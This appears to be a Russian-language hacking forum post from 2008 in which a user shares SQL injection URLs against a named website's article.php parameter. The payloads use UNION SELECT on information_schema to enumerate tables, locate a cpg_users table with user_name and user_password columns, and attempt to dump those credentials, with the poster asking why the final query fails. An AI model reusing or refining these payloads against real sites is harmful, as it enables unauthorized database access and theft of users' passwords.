31.08.2008, 10:15
|
|
Постоянный
Регистрация: 07.03.2008
Сообщений: 479
Провел на форуме:
791766
Репутация:
61
|
|
А смотрите...
вот таблица cpg_users с колонкой user_password
http://www.nebraska-outdoors.com/articles/article.php?aid=-1+union+select+concat_ws(0x3a3a,table_name,column_ name)+from+information_schema.columns+limit+296,1--
и user_name
http://www.nebraska-outdoors.com/articles/article.php?aid=-1+union+select+concat_ws(0x3a3a,table_name,column_ name)+from+information_schema.columns+limit+295,1--
почему не получается сделать запрос к этим колонкам?
Я пробовал
http://www.nebraska-outdoors.com/articles/article.php?aid=-1+union+select+concat_ws(0x3a3a,user_name,user_pas sword)+from+cpg_users--
|
|
|